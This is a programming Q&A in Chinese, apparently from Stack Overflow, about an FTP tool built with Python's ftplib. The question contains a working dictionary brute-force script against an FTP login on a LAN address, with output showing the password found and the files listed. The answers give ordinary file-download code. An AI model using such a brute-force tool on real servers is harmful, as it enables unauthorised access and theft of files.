我构建了这个简单的工具来暴力破解并连接到ftp服务器
import socket
import ftplib
from ftplib import FTP
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
ftp = FTP(ip)
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
目前该工具正常工作(我在文件列表中设置了正确的密码第3位) - 当我登录时,我得到了这个输出:
port 21 is open
123
('THE PASSWORD IS:', '123')
File List:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
从这里,我想要的是允许用户(我)检索文件1个特定文件或所有文件 - 但我不知道最简单的方法是什么
选择本身的1或全部,我可以做,(按1复制全部 - >;)但命令本身要复制全部或只是一个,如果一个然后根据我不知道怎么做。
编辑: 将Xendrm建议的内容添加到代码中就是这样:
Type a number for download or type 0 for all
0
downloading=> Folder
Traceback (most recent call last):
File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module>
download(j)
File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download
ftp.retrbinary("RETR " + files[j],f)
File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary
conn = self.transfercmd(cmd, rest)
File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd
return self.ntransfercmd(cmd, rest)[0]
File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd
resp = self.sendcmd(cmd)
File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd
return self.getresp()
File "/usr/lib/python2.7/ftplib.py", line 219, in getresp
raise error_perm, resp
error_perm: 550 Failed to open file.
答案 0 :(得分:16)
好的,经过多次试验和错误,我发现了如何做到这一点。 - 这个脚本将获取所选目录中的每个文件 - 没有弄清楚如何从所有子目录中获取所有文件,但这已经足够好了 - 将留给这里以供将来人们查看。
from ftplib import FTP
import os # allows me to use os.chdir
port=21
ip="192.168.1.108"
password='123'
os.chdir("c:/Users/USER/Desktop/new") #changes the active dir - this is where downloaded files will be saved to
ftp = FTP("192.168.1.108")
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
directory ="/home/FTP" #dir i want to download files from, can be changed or left for user input
filematch = '*.*' # a match for any file in this case, can be changed or left for user to input
ftp.cwd(directory)
for filename in ftp.nlst(filematch): # Loop - looking for matching files
fhandle = open(filename, 'wb')
print 'Getting ' + filename #for confort sake, shows the file that's being retrieved
ftp.retrbinary('RETR ' + filename, fhandle.write)
fhandle.close()
作为证明,这是从上面代码收到的输出:
File List:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
Getting blat.txt
Getting try.py
答案 1 :(得分:2)
首先,您需要先了解ftp协议,然后再做一些严肃的事情。举个例子,你可以这样做:
from ftplib import FTP
port=21
ip="127.0.0.1"
password = "a@a.a"
user = "Anonymous"
ftp = FTP(ip)
ftp.login(user,password)
files = ftp.nlst()
for i,v in enumerate(files,1):
print i,"->",v
i = int(raw_input("Type a number for download or type 0 for all\n"))
def f(s):
#save the chuck of data in s
print s
def download(j):
print "downloading=>",files[j]
ftp.retrbinary("RETR " + files[j],f)
#or ftp.retrlines("RETR " + files[j],f) for ascii files
if i==0:
for j in range(len(files)):
download(j)
elif i>0 and i<=len(files):
download(i-1)
答案 2 :(得分:1)
试试这个:
import argparse
import os
from ftplib import FTP
def parse_args():
''' parse and check command line arguments '''
ap = argparse.ArgumentParser(description="FTP Utility")
ap.add_argument('-hh', dest='host', help="Host name")
ap.add_argument('-u', dest='uname', help="user name")
ap.add_argument('-p', dest='pwd', help="user password")
ap.add_argument('-rd', dest='remote_dir', help="Path to remote directory")
ap.add_argument('-ld', dest='local_dir', help="Path to local directory")
ap.add_argument(dest='files', help="File names", nargs='+')
return ap.parse_args()
def is_empty(file):
file_size=os.stat(file).st_size
if file_size == 0:
print "The file {} is empty".format(file)
return True
return False
args=parse_args()
host_name=args.host
user_name=args.uname
user_pwd=args.pwd
remote_dir=args.remote_dir
local_dir=args.local_dir
files=args.files
ftp=FTP(host_name)
ftp.login(user_name, user_pwd)
ftp.cwd(remote_dir)
for file in files:
try:
local_filename = os.path.join(local_dir, file)
print "Getting filename "+file
ftp.retrbinary('RETR %s' % file, open(local_filename, 'wb').write)
print "Saving at %s" % local_filename
except Exception, err:
print err
if (is_empty(local_filename)):
os.remove(local_filename)
continue
ftp.quit()
我已经使用了很长一段时间了。如果您经常从一台计算机进行FTP,只需对host_name,user_name等的值进行硬编码。